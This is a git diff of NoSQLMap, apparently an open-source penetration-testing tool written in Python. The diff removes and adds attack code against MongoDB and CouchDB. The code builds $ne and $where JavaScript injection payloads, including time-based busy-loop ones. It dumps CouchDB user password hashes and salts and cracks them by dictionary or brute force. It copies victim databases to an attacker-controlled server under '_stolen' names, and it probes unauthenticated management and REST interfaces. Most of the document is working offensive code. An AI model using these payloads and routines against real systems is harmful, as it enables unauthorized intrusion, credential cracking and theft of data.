- print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
- vulnAddrs.append(intThisNeqUri)
-
- elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0):
- print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
- possAddrs.append(intThisNeqUri)
-
- elif (whereThisIntDelta == 0):
- print "Random string response size and this return response size were the same. Injection did not work."
-
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(intThisNeqUri)
-
-
- doTimeAttack = raw_input("Start timing based tests?")
-
- if doTimeAttack == "y" or doTimeAttack == "Y":
- print "Starting Javascript string escape time based injection..."
- start = time.time()
- strTimeInj = urllib.urlopen(timeStrUri)
- page = strTimeInj.read()
- end = time.time()
- strTimeInj.close()
- #print str(end)
- #print str(start)
- strTimeDelta = (int(round((end - start), 3)) - timeBase)
- #print str(strTimeDelta)
- if strTimeDelta > 25:
- print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
- strTbAttack = True
-
- else:
- print "HTTP load time variance was only " + str(strTimeDelta) + ". Injection probably didn't work."
- strTbAttack = False
-
- print "Starting Javascript integer escape time based injection..."
- start = time.time()
- intTimeInj = urllib.urlopen(timeIntUri)
- page = intTimeInj.read()
- end = time.time()
- intTimeInj.close()
- #print str(end)
- #print str(start)
- intTimeDelta = (int(round((end - start), 3)) - timeBase)
- #print str(strTimeDelta)
- if intTimeDelta > 25:
- print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
- intTbAttack = True
-
- else:
- print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work."
- intTbAttack = False
-
- print "\n"
- print "Vunerable URLs:"
- print "\n".join(vulnAddrs)
- print "\n"
- print "Possibly vulnerable URLs:"
- print"\n".join(possAddrs)
- print "\n"
- print "Timing based attacks:"
-
- if strTbAttack == True:
- print "String attack-Successful"
- else:
- print "String attack-Unsuccessful"
- if intTbAttack == True:
- print "Integer attack-Successful"
- else:
- print "Integer attack-Unsuccessful"
-
- fileOut = raw_input("Save results to file?")
-
- if fileOut == "y" or fileOut == "Y":
- savePath = raw_input("Enter output file name: ")
- fo = open(savePath, "wb")
- fo.write ("Vulnerable URLs:\n")
- fo.write("\n".join(vulnAddrs))
- fo.write("\n\n")
- fo.write("Possibly Vulnerable URLs:\n")
- fo.write("\n".join(possAddrs))
- fo.write("\n")
- fo.write("Timing based attacks:\n")
-
- if strTbAttack == True:
- fo.write("String Attack-Successful\n")
- else:
- fo.write("String Attack-Unsuccessful\n")
- fo.write("\n")
-
- if intTbAttack == True:
- fo.write("Integer attack-Successful\n")
- else:
- fo.write("Integer attack-Unsuccessful\n")
- fo.write("\n")
- fo.close()
-
- raw_input("Press enter to continue...")
- return()
-
-def randInjString(size):
- print "What format should the random string take?"
- print "1-Alphanumeric"
- print "2-Letters only"
- print "3-Numbers only"
- print "4-Email address"
- format = raw_input("Select an option: ")
-
- if format == "1":
- chars = string.ascii_letters + string.digits
- return ''.join(random.choice(chars) for x in range(size))
-
- elif format == "2":
- chars = string.ascii_letters
- return ''.join(random.choice(chars) for x in range(size))
-
- elif format == "3":
- chars = string.digits
- return ''.join(random.choice(chars) for x in range(size))
-
- elif format == "4":
- chars = string.ascii_letters + string.digits
- return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
-
-
-def buildUri(origUri, randValue):
- paramName = []
- paramValue = []
- global neqUri
- global whereStrUri
- global whereIntUri
- global whereOneStr
- global whereOneInt
- global timeStrUri
- global timeIntUri
- global strThisNeqUri
- global intThisNeqUri
- injOpt = ""
-
- #Split the string between the path and parameters, and then split each parameter
- split_uri = origUri.split("?")
- params = split_uri[1].split("&")
-
- for item in params:
- index = item.find("=")
- paramName.append(item[0:index])
- paramValue.append(item[index + 1:len(item)])
-
- menuItem = 1
- print "List of parameters:"
- for params in paramName:
- print str(menuItem) + "-" + params
- menuItem += 1
-
-
-
- try:
- injIndex = raw_input("Which parameter should we inject? ")
- injOpt = str(paramName[int(injIndex)-1])
- print "Injecting the " + injOpt + " parameter..."
- except:
- raw_input("Something went wrong. Press enter to return to the main menu...")
- mainMenu()
-
- evilUri = split_uri[0] + "?"
- neqUri = split_uri[0] + "?"
- whereStrUri = split_uri[0] + "?"
- whereIntUri = split_uri[0] + "?"
- whereOneStr = split_uri[0] + "?"
- whereOneInt = split_uri[0] + "?"
- timeStrUri = split_uri[0] + "?"
- timeIntUri = split_uri[0] + "?"
- strThisNeqUri = split_uri[0] + "?"
- intThisNeqUri = split_uri[0] + "?"
- x = 0
-
- for item in paramName:
- if paramName[x] == injOpt:
- evilUri += paramName[x] + "=" + randValue + "&"
- neqUri += paramName[x] + "[$ne]=" + randValue + "&"
- whereStrUri += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
- whereIntUri += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
- whereOneStr += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
- whereOneInt += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&"
- timeStrUri += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
- timeIntUri += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
- strThisNeqUri += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
- intThisNeqUri += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
-
- else:
- evilUri += paramName[x] + "=" + paramValue[x] + "&"
- neqUri += paramName[x] + "=" + paramValue[x] + "&"
- whereStrUri += paramName[x] + "=" + paramValue[x] + "&"
- whereIntUri += paramName[x] + "=" + paramValue[x] + "&"
- whereOneStr += paramName[x] + "=" + paramValue[x] + "&"
- whereOneInt += paramName[x] + "=" + paramValue[x] + "&"
- timeStrUri += paramName[x] + "=" + paramValue[x] + "&"
- timeIntUri += paramName[x] + "=" + paramValue[x] + "&"
- strThisNeqUri += paramName[x] + "=" + paramValue[x] + "&"
- intThisNeqUri += paramName[x] + "=" + paramValue[x] + "&"
- x += 1
-
- #Clip the extra & off the end of the URL
- evilUri = evilUri[:-1]
- neqUri = neqUri[:-1]
- whereStrUri = whereStrUri[:-1]
- whereIntUri = whereIntUri[:-1]
- whereOneStr = whereOneStr[:-1]
- whereOneInt = whereOneInt[:-1]
- timeStrUri = timeStrUri[:-1]
- timeIntUri = timeIntUri[:-1]
-
- return evilUri
-
-def stealDBs(myDB):
- menuItem = 1
-
- for dbName in dbList:
- print str(menuItem) + "-" + dbName
- menuItem += 1
-
- try:
- dbLoot = raw_input("Select a database to steal:")
-
- except:
- print "Invalid selection."
- stealDBs(myDB)
-
- try:
- #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
- dbNeedCreds = raw_input("Does this database require credentials? ")
-
- if dbNeedCreds == "n" or dbNeedCreds == "N":
- myDBConn = pymongo.MongoClient(myDB,27017)
- myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
-
- elif dbNeedCreds == "y" or dbNeedCreds == "Y":
- dbUser = raw_input("Enter database username: ")
- dbPass = raw_input("Enter database password: ")
- myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass)
-
- else:
- raw_input("Invalid Selection. Press enter to continue.")
- stealDBs(myDB)
-
- cloneAnother = raw_input("Database cloned. Copy another?")
-
- if cloneAnother == "y" or cloneAnother == "Y":
- stealDBs(myDB)
-
- else:
- return()
-
- except:
- raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
- mainMenu()
-
-mainMenu()
+ global victim
+ global webPort
+ global uri
+ global https
+ global platform
+ global httpMethod
+ global postData
+ global myIP
+ global myPort
+ global verb
+ global mmSelect
+ global dbPort
+ global requestHeaders
+ requestHeaders = {}
+ optSelect = True
+
+ # Set default value if needed
+ if optionSet[0] == False:
+ global victim
+ victim = "Not Set"
+ if optionSet[1] == False:
+ global webPort
+ webPort = 80
+ optionSet[1] = True
+ if optionSet[2] == False:
+ global uri
+ uri = "Not Set"
+ if optionSet[3] == False:
+ global httpMethod
+ httpMethod = "GET"
+ if optionSet[4] == False:
+ global myIP
+ myIP = "Not Set"
+ if optionSet[5] == False:
+ global myPort
+ myPort = "Not Set"
+ if optionSet[6] == False:
+ verb = "OFF"
+ optSelect = True
+ if optionSet[8] == False:
+ https = "OFF"
+ optSelect = True
+
+ while optSelect:
+ print "\n\n"
+ print "Options"
+ print "1-Set target host/IP (Current: " + str(victim) + ")"
+ print "2-Set web app port (Current: " + str(webPort) + ")"
+ print "3-Set App Path (Current: " + str(uri) + ")"
+ print "4-Toggle HTTPS (Current: " + str(https) + ")"
+ print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")"
+ print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")"
+ print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")"
+ print "8-Set shell listener port (Current: " + str(myPort) + ")"
+ print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")"
+ print "0-Load options file"
+ print "a-Load options from saved Burp request"
+ print "b-Save options file"
+ print "h-Set headers"
+ print "x-Back to main menu"
+
+ select = raw_input("Select an option: ")
+
+ if select == "1":
+ # Unset the boolean if it's set since we're setting it again.
+ optionSet[0] = False
+ ipLen = False
+
+ while optionSet[0] == False:
+ goodDigits = True
+ notDNS = True
+ victim = raw_input("Enter the host IP/DNS name: ")
+ # make sure we got a valid IP
+ octets = victim.split(".")
+
+ if len(octets) != 4:
+ # Treat this as a DNS name
+ optionSet[0] = True
+ notDNS = False
+ else:
+ # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
+ # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+ for item in octets:
+ try:
+ if int(item) < 0 or int(item) > 255:
+ print "Bad octet in IP address."
+ goodDigits = False
+
+ except NoSQLMapException("[!] Must be a DNS name."):
+ #Must be a DNS name (for now)
+
+ notDNS = False
+
+ #If everything checks out set the IP and break the loop
+ if goodDigits == True or notDNS == False:
+ print "\nTarget set to " + victim + "\n"
+ optionSet[0] = True
+
+ elif select == "2":
+ webPort = raw_input("Enter the HTTP port for web apps: ")
+ print "\nHTTP port set to " + webPort + "\n"
+ optionSet[1] = True
+
+ elif select == "3":
+ uri = raw_input("Enter URI Path (Press enter for no URI): ")
+ #Ensuring the URI path always starts with / and accepts null values
+ if len(uri) == 0:
+ uri = "Not Set"
+ print "\nURI Not Set." "\n"
+ optionSet[2] = False
+
+ elif uri[0] != "/":
+ uri = "/" + uri
+ print "\nURI Path set to " + uri + "\n"
+ optionSet[2] = True
+
+ elif select == "4":
+ if https == "OFF":
+ print "HTTPS enabled."
+ https = "ON"
+ optionSet[8] = True
+
+ elif https == "ON":
+ print "HTTPS disabled."
+ https = "OFF"
+ optionSet[8] = True
+
+
+ elif select == "5":
+ dbPort = int(raw_input("Enter target MongoDB port: "))
+ print "\nTarget Mongo Port set to " + str(dbPort) + "\n"
+ optionSet[7] = True
+
+ elif select == "6":
+ httpMethod = True
+ while httpMethod == True:
+
+ print "1-Send request as a GET"
+ print "2-Send request as a POST"
+ httpMethod = raw_input("Select an option: ")
+
+ if httpMethod == "1":
+ httpMethod = "GET"
+ print "GET request set"
+ requestHeaders = {}
+ optionSet[3] = True
+
+ elif httpMethod == "2":
+ print "POST request set"
+ optionSet[3] = True
+ postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
+ postData = build_post_data(postDataIn)
+ httpMethod = "POST"
+
+ else:
+ print "Invalid selection"
+
+ elif select == "7":
+ # Unset the setting boolean since we're setting it again.
+ optionSet[4] = False
+
+ while optionSet[4] == False:
+ goodLen = False
+ goodDigits = True
+ # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
+ # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
+ # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
+ myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
+ # make sure we got a valid IP
+ octets = myIP.split(".")
+ # If there aren't 4 octets, toss an error.
+ if len(octets) != 4:
+ print "Invalid IP length."
+
+ else:
+ goodLen = True
+
+ if goodLen == True:
+ # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+ for item in octets:
+ if int(item) < 0 or int(item) > 255:
+ print "Bad octet in IP address."
+ goodDigits = False
+
+ # else:
+ # goodDigits = True
+
+ # Default value of goodDigits should be set to True
+ # for example 12.12345.12.12
+
+
+ # If everything checks out set the IP and break the loop
+ if goodLen == True and goodDigits == True:
+ print "\nShell/DB listener set to " + myIP + "\n"
+ optionSet[4] = True
+
+ elif select == "8":
+ myPort = raw_input("Enter TCP listener for shells: ")
+ print "Shell TCP listener set to " + myPort + "\n"
+ optionSet[5] = True
+
+ elif select == "9":
+ if verb == "OFF":
+ print "Verbose output enabled."
+ verb = "ON"
+ optionSet[6] = True
+
+ elif verb == "ON":
+ print "Verbose output disabled."
+ verb = "OFF"
+ optionSet[6] = True
+
+ elif select == "0":
+ loadPath = raw_input("Enter file name to load: ")
+ csvOpt = []
+ try:
+ with open(loadPath,"r") as fo:
+ for line in fo:
+ csvOpt.append(line.rstrip())
+ except IOError as e:
+ print "I/O error({0}): {1}".format(e.errno, e.strerror)
+ raw_input("error reading file. Press enter to continue...")
+ return
+
+ optList = csvOpt[0].split(",")
+ victim = optList[0]
+ webPort = optList[1]
+ uri = optList[2]
+ httpMethod = optList[3]
+ myIP = optList[4]
+ myPort = optList[5]
+ verb = optList[6]
+ https = optList[7]
+
+ # saved headers position will depend of the request verb
+ headersPos= 1
+
+ if httpMethod == "POST":
+ postData = ast.literal_eval(csvOpt[1])
+ headersPos = 2
+
+ requestHeaders = ast.literal_eval(csvOpt[headersPos])
+
+ # Set option checking array based on what was loaded
+ x = 0
+ for item in optList:
+ if item != "Not Set":
+ optionSet[x] = True
+ x += 1
+
+ elif select == "a":
+ loadPath = raw_input("Enter path to Burp request file: ")
+ reqData = []
+ try:
+ with open(loadPath,"r") as fo:
+ for line in fo:
+ reqData.append(line.rstrip())
+ except IOError as e:
+ print "I/O error({0}): {1}".format(e.errno, e.strerror)
+ raw_input("error reading file. Press enter to continue...")
+ return
+
+ methodPath = reqData[0].split(" ")
+
+ if methodPath[0] == "GET":
+ httpMethod = "GET"
+
+ elif methodPath[0] == "POST":
+ paramNames = []
+ paramValues = []
+ httpMethod = "POST"
+ postData = reqData[len(reqData)-1]
+ # split the POST parameters up into individual items
+ paramsNvalues = postData.split("&")
+
+ for item in paramsNvalues:
+ tempList = item.split("=")
+ paramNames.append(tempList[0])
+ paramValues.append(tempList[1])
+
+ postData = dict(zip(paramNames,paramValues))
+
+ else:
+ print "unsupported method in request header."
+
+ # load the HTTP headers
+ for line in reqData[1:]:
+ print(line)
+ if not line.strip(): break
+ header = line.split(": ");
+ requestHeaders[header[0]] = header[1].strip()
+
+ victim = reqData[1].split( " ")[1]
+ optionSet[0] = True
+ uri = methodPath[1]
+ optionSet[2] = True
+
+ elif select == "b":
+ savePath = raw_input("Enter file name to save: ")
+ try:
+ with open(savePath, "wb") as fo:
+ fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
+
+ if httpMethod == "POST":
+ fo.write(",\n"+ str(postData))
+ fo.write(",\n" + str(requestHeaders) )
+ print "Options file saved!"
+ except IOError:
+ print "Couldn't save options file."
+
+ elif select == "h":
+ reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
+ requestHeaders = build_request_headers(reqHeadersIn)
+
+ elif select == "x":
+ return
+
+def build_parser():
+ parser = argparse.ArgumentParser()
+ parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3])
+ parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB")
+ parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)")
+ parser.add_argument("--dbPort", help="Set shell listener port", type=int)
+ parser.add_argument("--myIP",help="Set my local platform/Shell IP")
+ parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int)
+ parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int)
+ parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]")
+ parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET")
+ parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF")
+ parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF")
+ parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
+ parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
+
+ modules = [nsmcouch, nsmmongo, nsmscan, nsmweb]
+ for module in modules:
+ group = parser.add_argument_group(module.__name__)
+ for arg in module.args():
+ group.add_argument(arg[0], help=arg[1])
+
+ return parser
+
+def signal_handler(signal, frame):
+ print "\n"
+ print "CTRL+C detected. Exiting."
+ sys.exit()
+
+if __name__ == '__main__':
+ parser = build_parser()
+ args = parser.parse_args()
+ main(args)
diff --git a/nsmcouch.py b/nsmcouch.py
new file mode 100644
index 0000000..33bbe62
--- /dev/null
+++ b/nsmcouch.py
@@ -0,0 +1,383 @@
+#!/usr/bin/python
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
+from exception import NoSQLMapException
+import couchdb
+import urllib
+import requests
+import sys
+import unittest
+from pbkdf2 import PBKDF2
+from binascii import a2b_hex
+import string
+import itertools
+from hashlib import sha1
+import os
+
+
+global dbList
+global yes_tag
+global no_tag
+yes_tag = ['y', 'Y']
+no_tag = ['n', 'N']
+
+def args():
+ return []
+
+def couchScan(target,port,pingIt):
+ if pingIt == True:
+ test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
+
+ if test == 0:
+ try:
+ conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")
+
+ try:
+ dbVer = conn.version()
+ return [0,dbVer]
+
+ except couchdb.http.Unauthorized:
+ return [1,None]
+
+ except NoSQLMapException:
+ return [2,None]
+
+ except NoSQLMapException:
+ return [3,None]
+
+ else:
+ return [4,None]
+
+ else:
+ try:
+ conn = couchdb.Server("http://" + str(target) + ":" + str(port) +"/")
+
+ try:
+ dbVer = conn.version()
+ return [0,dbVer]
+
+ except couchdb.http.Unauthorized:
+ return [1,None]
+
+ except NoSQLMapException:
+ return [2,None]
+
+ except NoSQLMapException:
+ return [3,None]
+
+def netAttacks(target,port, myIP, args = None):
+ print "DB Access attacks (CouchDB)"
+ print "======================"
+ mgtOpen = False
+ webOpen = False
+ mgtSelect = True
+ # This is a global for future use with other modules; may change
+ dbList = []
+ print "Checking to see if credentials are needed..."
+ needCreds = couchScan(target,port,False)
+
+ if needCreds[0] == 0:
+ conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")
+ print "Successful access with no credentials!"
+ mgtOpen = True
+
+ elif needCreds[0] == 1:
+ print "Login required!"
+ srvUser = raw_input("Enter server username: ")
+ srvPass = raw_input("Enter server password: ")
+ uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str(port) + "/"
+
+ try:
+ conn = couchdb.Server(uri)
+ print "CouchDB authenticated on " + target + ":" + str(port)
+ mgtOpen = True
+
+ except NoSQLMapException:
+ raw_input("Failed to authenticate. Press enter to continue...")
+ return
+
+ elif needCreds[0] == 2:
+ conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/")
+ print "Access check failure. Testing will continue but will be unreliable."
+ mgtOpen = True
+
+ elif needCreds[0] == 3:
+ raw_input ("Couldn't connect to CouchDB server. Press enter to return to the main menu.")
+ return
+
+
+ mgtUrl = "http://" + target + ":" + str(port) + "/_utils"
+ # Future rev: Add web management interface parsing
+ try:
+ mgtRespCode = urllib.urlopen(mgtUrl).getcode()
+ if mgtRespCode == 200:
+ print "Sofa web management open at " + mgtUrl + ". No authentication required!"
+
+ except NoSQLMapException:
+ print "Sofa web management closed or requires authentication."
+
+ if mgtOpen == True:
+ while mgtSelect:
+ print "\n"
+ print "1-Get Server Version and Platform"
+ print "2-Enumerate Databases/Users/Password Hashes"
+ print "3-Check for Attachments (still under development)"
+ print "4-Clone a Database"
+ print "5-Return to Main Menu"
+ attack = raw_input("Select an attack: ")
+
+ if attack == "1":
+ print "\n"
+ getPlatInfo(conn,target)
+
+ if attack == "2":
+ print "\n"
+ enumDbs(conn,target,port)
+
+ if attack == "3":
+ print "\n"
+ enumAtt(conn,target,port)
+
+ if attack == "4":
+ print "\n"
+ stealDBs(myIP,conn,target,port)
+
+ if attack == "5":
+ return
+
+
+def getPlatInfo(couchConn, target):
+ print "Server Info:"
+ print "CouchDB Version: " + couchConn.version()
+ return
+
+
+def enumAtt(conn, target, port):
+ dbList = []
+ print "Enumerating all attachments..."
+
+ for db in conn:
+ dbList.append(db)
+
+ for dbName in dbList:
+ r = requests.get("http://" + target + ":" + str(port) + "/" + dbName + "/_all_docs" )
+ dbDict = r.json()
+
+
+
+def enumDbs (couchConn,target,port):
+ dbList = []
+ userNames = []
+ userHashes = []
+ userSalts = []
+ try:
+ for db in couchConn:
+ dbList.append(db)
+
+
+ print "List of databases:"
+ print "\n".join(dbList)
+ print "\n"
+
+ except NoSQLMapException:
+ print "Error: Couldn't list databases. The provided credentials may not have rights."
+
+ if '_users' in dbList:
+ r = requests.get("http://" + target + ":" + str(port) + "/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true")
+ userDict = r.json()
+
+ for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])):
+ if float(couchConn.version()[0:3]) < 1.3:
+ userNames.append(userDict["rows"][counter]["id"].split(":")[1])
+ userHashes.append(userDict["rows"][counter]["doc"]["password_sha"])
+ userSalts.append(userDict["rows"][counter]["doc"]["salt"])
+
+ else:
+ userNames.append(userDict["rows"][counter]["id"].split(":")[1])
+ userHashes.append(userDict["rows"][counter]["doc"]["derived_key"])
+ userSalts.append(userDict["rows"][counter]["doc"]["salt"])
+
+ print "Database Users and Password Hashes:"
+
+ for x in range(0,len(userNames)):
+ print "Username: " + userNames[x]
+ print "Hash: " + userHashes[x]
+ print "Salt: "+ userSalts[x]
+ print "\n"
+
+ crack = raw_input("Crack this hash (y/n)? ")
+
+ if crack in yes_tag:
+ passCrack(userNames[x],userHashes[x],userSalts[x],couchConn.version())
+
+
+ return
+
+
+def stealDBs (myDB,couchConn,target,port):
+ dbLoot = True
+ menuItem = 1
+ dbList = []
+
+ for db in couchConn:
+ dbList.append(db)
+
+ if len(dbList) == 0:
+ print "Can't get a list of databases to steal. The provided credentials may not have rights."
+ return
+
+ for dbName in dbList:
+ print str(menuItem) + "-" + dbName
+ menuItem += 1
+
+ while dbLoot:
+ dbLoot = raw_input("Select a database to steal:")
+
+ if int(dbLoot) > menuItem:
+ print "Invalid selection."
+
+ else:
+ break
+
+ try:
+ # Create the DB target first
+ myServer = couchdb.Server("http://" + myDB + ":5984")
+ targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")
+ couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")
+
+ cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
+
+ if cloneAnother in yes_tag:
+ stealDBs(myDB,couchConn,target,port)
+
+ else:
+ return
+
+ except NoSQLMapException:
+ raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...")
+ return
+
+
+def passCrack (user, encPass, salt, dbVer):
+ select = True
+ print "Select password cracking method: "
+ print "1-Dictionary Attack"
+ print "2-Brute Force"
+ print "3-Exit"
+
+ while select:
+ select = raw_input("Selection: ")
+
+ if select == "1":
+ select = False
+ dict_pass(encPass,salt,dbVer)
+
+ elif select == "2":
+ select = False
+ brute_pass(encPass,salt,dbVer)
+
+ elif select == "3":
+ return
+ return
+
+
+def genBrute(chars, maxLen):
+ return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
+
+
+def brute_pass(hashVal,salt,dbVer):
+ charSel = True
+ print "\n"
+ maxLen = raw_input("Enter the maximum password length to attempt: ")
+ print "1-Lower case letters"
+ print "2-Upper case letters"
+ print "3-Upper + lower case letters"
+ print "4-Numbers only"
+ print "5-Alphanumeric (upper and lower case)"
+ print "6-Alphanumeric + special characters"
+ charSel = raw_input("\nSelect character set to use:")
+
+ if charSel == "1":
+ chainSet = string.ascii_lowercase
+
+ elif charSel == "2":
+ chainSet= string.ascii_uppercase
+
+ elif charSel == "3":
+ chainSet = string.ascii_letters
+
+ elif charSel == "4":
+ chainSet = string.digits
+
+ elif charSel == "5":
+ chainSet = string.ascii_letters + string.digits
+
+ elif charSel == "6":
+ chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
+
+ count = 0
+ print "\n",
+
+ for attempt in genBrute (chainSet,int(maxLen)):
+ print "\rCombinations tested: " + str(count) + "\r"
+ count += 1
+
+ # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
+ if float(dbVer[0:3]) < 1.3:
+ gotIt = gen_pass_couch(attempt,salt,hashVal)
+ else:
+ gotIt = gen_pass_couch13(attempt, salt, 10, hashVal)
+
+ if gotIt == True:
+ break
+
+
+def dict_pass(key,salt,dbVer):
+ loadCheck = False
+
+ while loadCheck == False:
+ dictionary = raw_input("Enter path to password dictionary: ")
+
+ try:
+ with open (dictionary) as f:
+ passList = f.readlines()
+ loadCheck = True
+
+ except NoSQLMapException:
+ print " Couldn't load file."
+
+ print "Running dictionary attack..."
+
+ for passGuess in passList:
+ temp = passGuess.split("\n")[0]
+
+ # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
+ if float(dbVer[0:3]) < 1.3:
+ gotIt = gen_pass_couch(temp,salt,key)
+ else:
+ gotIt = gen_pass_couch13(temp, salt, 10, key)
+
+ if gotIt == True:
+ break
+
+ return
+
+
+def gen_pass_couch(passw, salt, hashVal):
+ if sha1(passw+salt).hexdigest() == hashVal:
+ print "Password Cracked - "+passw
+ return True
+
+ else:
+ return False
+
+
+def gen_pass_couch13(passw, salt, iterations, hashVal):
+ result=PBKDF2(passw,salt,iterations).read(20)
+ expected=a2b_hex(hashVal)
+ if result==expected:
+ print "Password Cracked- "+passw
+ return True
+ else:
+ return False
diff --git a/nsmmongo.py b/nsmmongo.py
new file mode 100644
index 0000000..996668a
--- /dev/null
+++ b/nsmmongo.py
@@ -0,0 +1,419 @@
+#!/usr/bin/python
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
+from exception import NoSQLMapException
+import pymongo
+import urllib
+import json
+import gridfs
+import itertools
+import string
+import subprocess
+from hashlib import md5
+import os
+
+
+global yes_tag
+global no_tag
+yes_tag = ['y', 'Y']
+no_tag = ['n', 'N']
+
+def args():
+ return []
+
+def netAttacks(target, dbPort, myIP, myPort, args = None):
+ print "DB Access attacks (MongoDB)"
+ print "================="
+ mgtOpen = False
+ webOpen = False
+ mgtSelect = True
+ # This is a global for future use with other modules; may change
+ global dbList
+ dbList = []
+
+ print "Checking to see if credentials are needed..."
+ needCreds = mongoScan(target,dbPort,False)
+
+ if needCreds[0] == 0:
+ conn = pymongo.MongoClient(target,dbPort)
+ print "Successful access with no credentials!"
+ mgtOpen = True
+
+ elif needCreds[0] == 1:
+ print "Login required!"
+ srvUser = raw_input("Enter server username: ")
+ srvPass = raw_input("Enter server password: ")
+ uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/"
+
+ try:
+ conn = pymongo.MongoClient(target)
+ print "MongoDB authenticated on " + target + ":27017!"
+ mgtOpen = True
+ except NoSQLMapException:
+ raw_input("Failed to authenticate. Press enter to continue...")
+ return
+
+ elif needCreds[0] == 2:
+ conn = pymongo.MongoClient(target,dbPort)
+ print "Access check failure. Testing will continue but will be unreliable."
+ mgtOpen = True
+
+ elif needCreds[0] == 3:
+ print "Couldn't connect to Mongo server."
+ return
+
+
+ mgtUrl = "http://" + target + ":28017"
+ # Future rev: Add web management interface parsing
+
+ try:
+ mgtRespCode = urllib.urlopen(mgtUrl).getcode()
+ if mgtRespCode == 200:
+ print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
+ testRest = raw_input("Start tests for REST Interface (y/n)? ")
+
+ if testRest in yes_tag:
+ restUrl = mgtUrl + "/listDatabases?text=1"
+ restResp = urllib.urlopen(restUrl).read()
+ restOn = restResp.find('REST is not enabled.')
+
+ if restOn == -1:
+ print "REST interface enabled!"
+ dbs = json.loads(restResp)
+ menuItem = 1
+ print "List of databases from REST API:"
+
+ for x in range(0,len(dbs['databases'])):
+ dbTemp= dbs['databases'][x]['name']
+ print str(menuItem) + "-" + dbTemp
+ menuItem += 1
+ else:
+ print "REST interface not enabled."
+ print "\n"
+
+ except NoSQLMapException:
+ print "MongoDB web management closed or requires authentication."
+
+ if mgtOpen == True:
+
+ while mgtSelect:
+ print "\n"
+ print "1-Get Server Version and Platform"
